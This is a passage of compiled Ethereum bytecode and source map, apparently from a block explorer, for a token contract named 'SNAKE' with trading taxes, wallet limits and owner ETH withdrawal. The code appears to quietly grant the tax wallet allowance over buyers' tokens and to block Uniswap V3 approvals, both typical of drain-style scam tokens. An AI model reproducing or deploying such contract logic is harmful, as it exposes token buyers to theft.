65b3480156102a0575f80fd5b506101b460115481565b3480156102b5575f80fd5b50604080518082019091526005815264534e414b4560d81b602082015261015a565b3480156102e2575f80fd5b50610258610562565b3480156102f6575f80fd5b506102586105b7565b34801561030a575f80fd5b5061018f610319366004611611565b6107b1565b348015610329575f80fd5b506101b460125481565b34801561033e575f80fd5b506101b461034d366004611694565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610382575f80fd5b50610258610391366004611679565b6107bd565b3480156103a1575f80fd5b506102586103b0366004611679565b61081f565b3480156103c0575f80fd5b5061025861090a565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104545760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b61045f338484610ae2565b5060015b92915050565b5f6104766009600a6117bf565b610485906461f313f8806117cd565b905090565b5f610496848484610c05565b6104e784336104e285604051806060016040528060288152602001611961602891396001600160a01b038a165f908152600d6020908152604080832033845290915290205491906111db565b610ae2565b5060019392505050565b5f546001600160a01b0316331461051a5760405162461bcd60e51b815260040161044b906117e4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461058b5760405162461bcd60e51b815260040161044b906117e4565b60405133904780156108fc02915f818181858888f193505050501580156105b4573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105e05760405162461bcd60e51b815260040161044b906117e4565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062a90309061061b6009600a6117bf565b6104e2906461f313f8806117cd565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e9190611819565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107219190611819565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561076b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078f9190611819565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f61045f338484610c05565b5f546001600160a01b031633146107e65760405162461bcd60e51b815260040161044b906117e4565b600f80546001600160a01b039092166001600160a01b0319909216821790555f908152600e60205260409020805460ff19166001179055565b5f546001600160a01b031633146108485760405162461bcd60e51b815260040161044b906117e4565b6108546009600a6117bf565b610863906461f313f8806117cd565b6010556108726009600a6117bf565b610881906461f313f8806117cd565b601155600f80546001600160a01b0319166001600160a01b0383169081179091555f908152600e60205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e76009600a6117bf565b6108f6906461f313f8806117cd565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109335760405162461bcd60e51b815260040161044b906117e4565b60145460ff16156109865760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b6002546001600160a01b031663f305d71947306109b7816001600160a01b03165f908152600c602052604090205490565b5f806109ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a30573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a559190611834565b505060015460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aaa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace919061185f565b506014805462ff00ff191662010001179055565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610ccb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b5f8111610d2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6014545f90819062010000900460ff161580610d4f5750601454610100900460ff165b15610e08576001600160a01b0385165f908152600c6020526040902054610d7790849061187e565b6001600160a01b038087165f908152600c60205260408082209390935590861681522054610da6908490611891565b6001600160a01b038086165f818152600c602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df99087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e3257505f546001600160a01b03858116911614155b1561108f57600b5415610e4557600a5491505b6001546001600160a01b038681169116148015610e7057506002546001600160a01b03858116911614155b8015610e9457506001600160a01b0384165f908152600e602052604090205460ff16155b15610fbc57601054831115610eeb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161044b565b60115483610f0d866001600160a01b03165f908152600c602052604090205490565b610f179190611891565b1115610f655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044b565b604080518082019091526001600160a01b038087168252600f54166020820152610f8e90611213565b600754600b5411610fa157600354610fa5565b6005545b600b80549193505f610fb6836118a4565b91905055505b6001546001600160a01b038581169116148015610fe257506001600160a01b0385163014155b1561100157600854600b5411610ffa57600454610ffe565b6006545b91505b305f908152600c6020526040902054601454610100900460ff1615801561103557506001546001600160a01b038681169116145b8015611049575060145462010000900460ff165b1561108d57601254811180156110625750600954600b54115b156110845761108461107f8561107a84601354611282565b611282565b611299565b61108d47611403565b505b811561111f576110aa60646110a4858561143e565b906114bc565b305f908152600c60205260409020549091506110c690826114fd565b305f818152600c6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111169085815260200190565b60405180910390a35b6001600160a01b0385165f908152600c6020526040902054611141908461155b565b6001600160a01b0386165f908152600c6020526040902055611184611166848361155b565b6001600160a01b0386165f908152600c6020526040902054906114fd565b6001600160a01b038086165f818152600c602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cd868561155b565b604051908152602001610df9565b5f81848411156111fe5760405162461bcd60e51b815260040161044b91906115c8565b505f61120a848661187e565b95945050505050565b805160208201516012546112289060646117cd565b611233906096611891565b61123e906032611891565b61124a906103e86117cd565b611256906105dc611891565b6001600160a01b039283165f908152600d60209081526040808320949095168252929092529190205550565b5f8183116112905782611292565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112db576112db6118bc565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611332573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113569190611819565b81600181518110611369576113696118bc565b6001600160a01b03928316602091820292909201015260025461138f9130911684610ae2565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c79085905f908690309042906004016118d0565b5f604051808303815f87803b1580156113de575f80fd5b505af11580156113f0573d5f803e3d5ffd5b50506014805461ff001916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561143a573d5f803e3d5ffd5b5050565b5f825f0361144d57505f610463565b5f61145883856117cd565b9050826114658583611941565b146112925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b5f61129283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159c565b5f806115098385611891565b9050838110156112925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b5f61129283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111db565b5f81836115bc5760405162461bcd60e51b815260040161044b91906115c8565b505f61120a8486611941565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105b4575f80fd5b5f8060408385031215611622575f80fd5b823561162d816115fd565b946020939093013593505050565b5f805f6060848603121561164d575f80fd5b8335611658816115fd565b92506020840135611668816115fd565b929592945050506040919091013590565b5f60208284031215611689575f80fd5b8135611292816115fd565b5f80604083850312156116a5575f80fd5b82356116b0816115fd565b915060208301356116c0816115fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561171957815f19048211156116ff576116ff6116cb565b8085161561170c57918102915b93841c93908002906116e4565b509250929050565b5f8261172f57506001610463565b8161173b57505f610463565b8160018114611751576002811461175b57611777565b6001915050610463565b60ff84111561176c5761176c6116cb565b50506001821b610463565b5060208310610133831016604e8410600b841016171561179a575081810a610463565b6117a483836116df565b805f19048211156117b7576117b76116cb565b029392505050565b5f61129260ff841683611721565b8082028115828204841417610463576104636116cb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611829575f80fd5b8151611292816115fd565b5f805f60608486031215611846575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561186f575f80fd5b81518015158114611292575f80fd5b81810381811115610463576104636116cb565b80820180821115610463576104636116cb565b5f600182016118b5576118b56116cb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119205784516001600160a01b0316835293830193918301916001016118fb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261195b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e8301e1a7c2b69b454e3e7ad8d0fc20dcb451ec2826d8fe8e08d58887560f0264736f6c63430008190033
Deployed Bytecode Sourcemap
3622:8380:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5843:83;;;;;;;;;;-1:-1:-1;5913:5:0;;;;;;;;;;;;-1:-1:-1;;;5913:5:0;;;;5843:83;;;;;;;:::i;:::-;;;;;;;;6668:307;;;;;;;;;;-1:-1:-1;6668:307:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6668:307:0;893:187:1;4792:48:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4792:48:0;1085:177:1;6114:97:0;;;;;;;;;;;;;:::i;6981:315::-;;;;;;;;;;-1:-1:-1;6981:315:0;;;;;:::i;:::-;;:::i;6025:83::-;;;;;;;;;;-1:-1:-1;6025:83:0;;4421:1;1870:36:1;;1858:2;1843:18;6025:83:0;1728:184:1;6217:121:0;;;;;;;;;;-1:-1:-1;6217:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;6310:20:0;6283:7;6310:20;;;:11;:20;;;;;;;6217:121;2034:148;;;;;;;;;;;;;:::i;:::-;;4617:49;;;;;;;;;;;;;;;;1820:79;;;;;;;;;;-1:-1:-1;1858:7:0;1885:6;1820:79;;-1:-1:-1;;;;;1885:6:0;;;2315:51:1;;2303:2;2288:18;1820:79:0;2169:203:1;4673:51:0;;;;;;;;;;;;;;;;5932:87;;;;;;;;;;-1:-1:-1;6004:7:0;;;;;;;;;;;;-1:-1:-1;;;6004:7:0;;;;5932:87;;10548:111;;;;;;;;;;;;;:::i;5463:374::-;;;;;;;;;;;;;:::i;6344:167::-;;;;;;;;;;-1:-1:-1;6344:167:0;;;;;:::i;:::-;;:::i;4731:54::-;;;;;;;;;;;;;;;;6517:145;;;;;;;;;;-1:-1:-1;6517:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6625:20:0;;;6598:7;6625:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6517:145;11024:150;;;;;;;;;;-1:-1:-1;11024:150:0;;;;;:::i;:::-;;:::i;10760:258::-;;;;;;;;;;-1:-1:-1;10760:258:0;;;;;:::i;:::-;;:::i;11529:470::-;;;;;;;;;;;;;:::i;6668:307::-;6743:4;11380:42;-1:-1:-1;;;;;11444:35:0;;;6813:82;;;;-1:-1:-1;;;6813:82:0;;3232:2:1;6813:82:0;;;3214:21:1;3271:2;3251:18;;;3244:30;3310:34;3290:18;;;3283:62;-1:-1:-1;;;3361:18:1;;;3354:46;3417:19;;6813:82:0;;;;;;;;;6906:39;1479:10;6929:7;6938:6;6906:8;:39::i;:::-;-1:-1:-1;6963:4:0;6668:307;;;;;:::o;6114:97::-;6167:7;4481:13;4421:1;4481:2;:13;:::i;:::-;4466:28;;:12;:28;:::i;:::-;6187:16;;6114:97;:::o;6981:315::-;7079:4;7096:36;7106:6;7114:9;7125:6;7096:9;:36::i;:::-;7143:123;7152:6;1479:10;7174:91;7214:6;7174:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7174:21:0;;;;;;:13;:21;;;;;;;;1479:10;7174:35;;;;;;;;;;:39;:91::i;:::-;7143:8;:123::i;:::-;-1:-1:-1;7284:4:0;6981:315;;;;;:::o;2034:148::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;2141:1:::1;2125:6:::0;;2104:40:::1;::::0;-1:-1:-1;;;;;2125:6:0;;::::1;::::0;2104:40:::1;::::0;2141:1;;2104:40:::1;2172:1;2155:19:::0;;-1:-1:-1;;;;;;2155:19:0::1;::::0;;2034:148::o;10548:111::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;10600:51:::1;::::0;10608:10:::1;::::0;10629:21:::1;10600:51:::0;::::1;;;::::0;::::1;::::0;;;10629:21;10608:10;10600:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10548:111::o:0;5463:374::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;5515:11:::1;:100:::0;;-1:-1:-1;;;;;;5515:100:0::1;5562:42;5515:100:::0;;::::1;::::0;;;5626:56:::1;::::0;5643:4:::1;::::0;4481:13:::1;4421:1;4481:2;:13;:::i;:::-;4466:28;::::0;:12:::1;:28;:::i;5626:56::-;5723:11;;;;;;;;;-1:-1:-1::0;;;;;5723:11:0::1;-1:-1:-1::0;;;;;5723:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5705:51:0::1;;5779:4;5799:11;;;;;;;;;-1:-1:-1::0;;;;;5799:11:0::1;-1:-1:-1::0;;;;;5799:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5705:123;::::0;-1:-1:-1;;;;;;5705:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5976:15:1;;;5705:123:0::1;::::0;::::1;5958:34:1::0;6028:15;;6008:18;;;6001:43;5893:18;;5705:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5693:9;:135:::0;;-1:-1:-1;;;;;;5693:135:0::1;-1:-1:-1::0;;;;;5693:135:0;;;::::1;::::0;;;::::1;::::0;;5463:374::o;6344:167::-;6422:4;6439:42;1479:10;6463:9;6474:6;6439:9;:42::i;11024:150::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;11100:10:::1;:21:::0;;-1:-1:-1;;;;;11100:21:0;;::::1;-1:-1:-1::0;;;;;;11100:21:0;;::::1;::::0;::::1;::::0;;:10:::1;11132:27:::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;11132:34:0::1;11100:21:::0;11132:34:::1;::::0;;11024:150::o;10760:258::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;4481:13:::1;4421:1;4481:2;:13;:::i;:::-;4466:28;::::0;:12:::1;:28;:::i;:::-;10835:12;:24:::0;4481:13:::1;4421:1;4481:2;:13;:::i;:::-;4466:28;::::0;:12:::1;:28;:::i;:::-;10870:14;:24:::0;10905:10:::1;:18:::0;;-1:-1:-1;;;;;;10905:18:0::1;-1:-1:-1::0;;;;;10905:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10934:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;10934:31:0::1;-1:-1:-1::0;10934:31:0::1;::::0;;10981:29:::1;4481:13;4421:1;4481:2;:13;:::i;:::-;4466:28;::::0;:12:::1;:28;:::i;:::-;10981:29;::::0;1231:25:1;;;1219:2;1204:18;10981:29:0::1;;;;;;;10760:258:::0;:::o;11529:470::-;1947:6;;-1:-1:-1;;;;;1947:6:0;1479:10;1947:22;1939:67;;;;-1:-1:-1;;;1939:67:0;;;;;;;:::i;:::-;11589:11:::1;::::0;::::1;;11588:12;11580:48;;;::::0;-1:-1:-1;;;11580:48:0;;6257:2:1;11580:48:0::1;::::0;::::1;6239:21:1::0;6296:2;6276:18;;;6269:30;6335:25;6315:18;;;6308:53;6378:18;;11580:48:0::1;6055:347:1::0;11580:48:0::1;11639:11;::::0;-1:-1:-1;;;;;11639:11:0::1;:27;11674:21;11719:4;11739:24;11719:4:::0;-1:-1:-1;;;;;6310:20:0;6283:7;6310:20;;;:11;:20;;;;;;;6217:121;11739:24:::1;11778:1;11794::::0;11810:7:::1;1858::::0;1885:6;-1:-1:-1;;;;;1885:6:0;;1820:79;11810:7:::1;11639:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11639:219:0;;;-1:-1:-1;;;;;6766:15:1;;;11639:219:0::1;::::0;::::1;6748:34:1::0;6798:18;;;6791:34;;;;6841:18;;;6834:34;;;;6884:18;;;6877:34;6948:15;;;6927:19;;;6920:44;11832:15:0::1;6980:19:1::0;;;6973:35;6682:19;;11639:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11876:9:0::1;::::0;11903:11:::1;::::0;11869:63:::1;::::0;-1:-1:-1;;;11869:63:0;;-1:-1:-1;;;;;11903:11:0;;::::1;11869:63;::::0;::::1;7504:51:1::0;-1:-1:-1;;7571:18:1;;;7564:34;11876:9:0;::::1;::::0;-1:-1:-1;11869:25:0::1;::::0;7477:18:1;;11869:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11943:11:0::1;:18:::0;;-1:-1:-1;;11973:18:0;;;;;11529:470::o;7302:337::-;-1:-1:-1;;;;;7395:19:0;;7387:68;;;;-1:-1:-1;;;7387:68:0;;8093:2:1;7387:68:0;;;8075:21:1;8132:2;8112:18;;;8105:30;8171:34;8151:18;;;8144:62;-1:-1:-1;;;8222:18:1;;;8215:34;8266:19;;7387:68:0;7891:400:1;7387:68:0;-1:-1:-1;;;;;7474:21:0;;7466:68;;;;-1:-1:-1;;;7466:68:0;;8498:2:1;7466:68:0;;;8480:21:1;8537:2;8517:18;;;8510:30;8576:34;8556:18;;;8549:62;-1:-1:-1;;;8627:18:1;;;8620:32;8669:19;;7466:68:0;8296:398:1;7466:68:0;-1:-1:-1;;;;;7545:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7599:32;;1231:25:1;;;7599:32:0;;1204:18:1;7599:32:0;;;;;;;7302:337;;;:::o;7645:2127::-;-1:-1:-1;;;;;7735:18:0;;7727:68;;;;-1:-1:-1;;;7727:68:0;;8901:2:1;7727:68:0;;;8883:21:1;8940:2;8920:18;;;8913:30;8979:34;8959:18;;;8952:62;-1:-1:-1;;;9030:18:1;;;9023:35;9075:19;;7727:68:0;8699:401:1;7727:68:0;-1:-1:-1;;;;;7814:16:0;;7806:64;;;;-1:-1:-1;;;7806:64:0;;9307:2:1;7806:64:0;;;9289:21:1;9346:2;9326:18;;;9319:30;9385:34;9365:18;;;9358:62;-1:-1:-1;;;9436:18:1;;;9429:33;9479:19;;7806:64:0;9105:399:1;7806:64:0;7900:1;7889:8;:12;7881:66;;;;-1:-1:-1;;;7881:66:0;;9711:2:1;7881:66:0;;;9693:21:1;9750:2;9730:18;;;9723:30;9789:34;9769:18;;;9762:62;-1:-1:-1;;;9840:18:1;;;9833:39;9889:19;;7881:66:0;9509:405:1;7881:66:0;8006:11;;7958:13;;;;8006:11;;;;;8005:12;;:22;;-1:-1:-1;8021:6:0;;;;;;;8005:22;8001:231;;;-1:-1:-1;;;;;8064:17:0;;;;;;:11;:17;;;;;;:28;;8084:8;;8064:28;:::i;:::-;-1:-1:-1;;;;;8044:17:0;;;;;;;:11;:17;;;;;;:48;;;;8125:15;;;;;;;:26;;8143:8;;8125:26;:::i;:::-;-1:-1:-1;;;;;8107:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8171:28;;;;;;;;;;8190:8;1231:25:1;;1219:2;1204:18;;1085:177;8171:28:0;;;;;;;;8214:7;;7645:2127;;;:::o;8001:231::-;1858:7;1885:6;-1:-1:-1;;;;;8246:15:0;;;1885:6;;8246:15;;;;:32;;-1:-1:-1;1858:7:0;1885:6;-1:-1:-1;;;;;8265:13:0;;;1885:6;;8265:13;;8246:32;8242:1115;;;8298:9;;:11;8295:71;;8338:12;;8330:20;;8295:71;8392:9;;-1:-1:-1;;;;;8384:17:0;;;8392:9;;8384:17;:47;;;;-1:-1:-1;8419:11:0;;-1:-1:-1;;;;;8405:26:0;;;8419:11;;8405:26;;8384:47;:74;;;;-1:-1:-1;;;;;;8437:21:0;;;;;;:17;:21;;;;;;;;8435:23;8384:74;8380:420;;;8500:12;;8488:8;:24;;8480:62;;;;-1:-1:-1;;;8480:62:0;;10384:2:1;8480:62:0;;;10366:21:1;10423:2;10403:18;;;10396:30;10462:27;10442:18;;;10435:55;10507:18;;8480:62:0;10182:349:1;8480:62:0;8597:14;;8585:8;8569:13;8579:2;-1:-1:-1;;;;;6310:20:0;6283:7;6310:20;;;:11;:20;;;;;;;6217:121;8569:13;:24;;;;:::i;:::-;:42;;8561:81;;;;-1:-1:-1;;;8561:81:0;;10738:2:1;8561:81:0;;;10720:21:1;10777:2;10757:18;;;10750:30;10816:28;10796:18;;;10789:56;10862:18;;8561:81:0;10536:350:1;8561:81:0;8661:25;;;;;;;;;-1:-1:-1;;;;;8661:25:0;;;;;8674:10;;;8661:25;;;;;;:5;:25::i;:::-;8708:15;;8698:9;;:25;8697:55;;8738:14;;8697:55;;;8725:12;;8697:55;8773:9;:11;;8688:65;;-1:-1:-1;8773:9:0;:11;;;:::i;:::-;;;;;;8380:420;8823:9;;-1:-1:-1;;;;;8817:15:0;;;8823:9;;8817:15;:39;;;;-1:-1:-1;;;;;;8836:20:0;;8851:4;8836:20;;8817:39;8814:147;;;8897:16;;8887:9;;:26;8886:58;;8929:15;;8886:58;;;8915:13;;8886:58;8877:68;;8814:147;9024:4;8975:28;6310:20;;;:11;:20;;;;;;9050:6;;;;;;;9049:7;:26;;;;-1:-1:-1;9066:9:0;;-1:-1:-1;;;;;9060:15:0;;;9066:9;;9060:15;9049:26;:41;;;;-1:-1:-1;9079:11:0;;;;;;;9049:41;9045:301;;;9137:17;;9114:20;:40;:74;;;;;9170:18;;9158:9;;:30;9114:74;9111:168;;;9211:68;9221:57;9227:8;9237:40;9243:20;9265:11;;9237:5;:40::i;:::-;9221:5;:57::i;:::-;9211:9;:68::i;:::-;9298:32;9308:21;9298:9;:32::i;:::-;8280:1077;8242:1115;9378:9;;9375:208;;9409:28;9433:3;9409:19;:8;9422:5;9409:12;:19::i;:::-;:23;;:28::i;:::-;9499:4;9479:26;;;;:11;:26;;;;;;9403:34;;-1:-1:-1;9479:37:0;;9403:34;9479:30;:37::i;:::-;9472:4;9452:26;;;;:11;:26;;;;;;;:64;;;;9536:35;;-1:-1:-1;;;;;9536:35:0;;;;;;;9565:5;1231:25:1;;1219:2;1204:18;;1085:177;9536:35:0;;;;;;;;9375:208;-1:-1:-1;;;;;9611:17:0;;;;;;:11;:17;;;;;;:31;;9633:8;9611:21;:31::i;:::-;-1:-1:-1;;;;;9593:17:0;;;;;;:11;:17;;;;;:49;9669:40;9689:19;:8;9702:5;9689:12;:19::i;:::-;-1:-1:-1;;;;;9669:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;9653:15:0;;;;;;;:11;:15;;;;;:56;;;;9725:39;;;9744:19;:8;9757:5;9744:12;:19::i;:::-;9725:39;;1231:25:1;;;1219:2;1204:18;9725:39:0;1085:177:1;578:190:0;664:7;700:12;692:6;;;;684:29;;;;-1:-1:-1;;;684:29:0;;;;;;;;:::i;:::-;-1:-1:-1;724:9:0;736:5;740:1;736;:5;:::i;:::-;724:17;578:190;-1:-1:-1;;;;;578:190:0:o;10248:188::-;10318:6;;;10336;;;10391:17;;10385:23;;:3;:23;:::i;:::-;10381:27;;:3;:27;:::i;:::-;:32;;10411:2;10381:32;:::i;:::-;10380:41;;10417:4;10380:41;:::i;:::-;:48;;10424:4;10380:48;:::i;:::-;-1:-1:-1;;;;;10354:19:0;;;;;;;:13;:19;;;;;;;;:23;;;;;;;;;;;;;:74;-1:-1:-1;10248:188:0:o;10442:100::-;10501:7;10528:1;10526;:3;10525:9;;10533:1;10525:9;;;10531:1;10525:9;10518:16;10442:100;-1:-1:-1;;;10442:100:0:o;9778:464::-;5075:6;:13;;-1:-1:-1;;5075:13:0;;;;;9873:16:::1;::::0;;9887:1:::1;9873:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9873:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9873:16:0::1;9849:40;;9918:4;9900;9905:1;9900:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9900:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9944:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;9944:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;9900:7;;9944:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9934:4;9939:1;9934:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9934:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10005:11:::1;::::0;9973:58:::1;::::0;9990:4:::1;::::0;10005:11:::1;10019::::0;9973:8:::1;:58::i;:::-;10042:11;::::0;:192:::1;::::0;-1:-1:-1;;;10042:192:0;;-1:-1:-1;;;;;10042:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10119:11;;10042::::1;::::0;10161:4;;10188::::1;::::0;10208:15:::1;::::0;10042:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5111:6:0;:14;;-1:-1:-1;;5111:14:0;;;-1:-1:-1;;;;9778:464:0:o;10665:89::-;10719:10;;:27;;-1:-1:-1;;;;;10719:10:0;;;;:27;;;;;10739:6;;10719:10;:27;:10;:27;10739:6;10719:10;:27;;;;;;;;;;;;;;;;;;;;;10665:89;:::o;776:246::-;834:7;858:1;863;858:6;854:47;;-1:-1:-1;888:1:0;881:8;;854:47;911:9;923:5;927:1;923;:5;:::i;:::-;911:17;-1:-1:-1;956:1:0;947:5;951:1;911:17;947:5;:::i;:::-;:10;939:56;;;;-1:-1:-1;;;939:56:0;;12704:2:1;939:56:0;;;12686:21:1;12743:2;12723:18;;;12716:30;12782:34;12762:18;;;12755:62;-1:-1:-1;;;12833:18:1;;;12826:31;12874:19;;939:56:0;12502:397:1;1030:132:0;1088:7;1115:39;1119:1;1122;1115:39;;;;;;;;;;;;;;;;;:3;:39::i;247:179::-;305:7;;337:5;341:1;337;:5;:::i;:::-;325:17;;366:1;361;:6;;353:46;;;;-1:-1:-1;;;353:46:0;;13106:2:1;353:46:0;;;13088:21:1;13145:2;13125:18;;;13118:30;13184:29;13164:18;;;13157:57;13231:18;;353:46:0;12904:351:1;434:136:0;492:7;519:43;523:1;526;519:43;;;;;;;;;;;;;;;;;:3;:43::i;1170:189::-;1256:7;1291:12;1284:5;1276:28;;;;-1:-1:-1;;;1276:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1315:9:0;1327:5;1331:1;1327;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6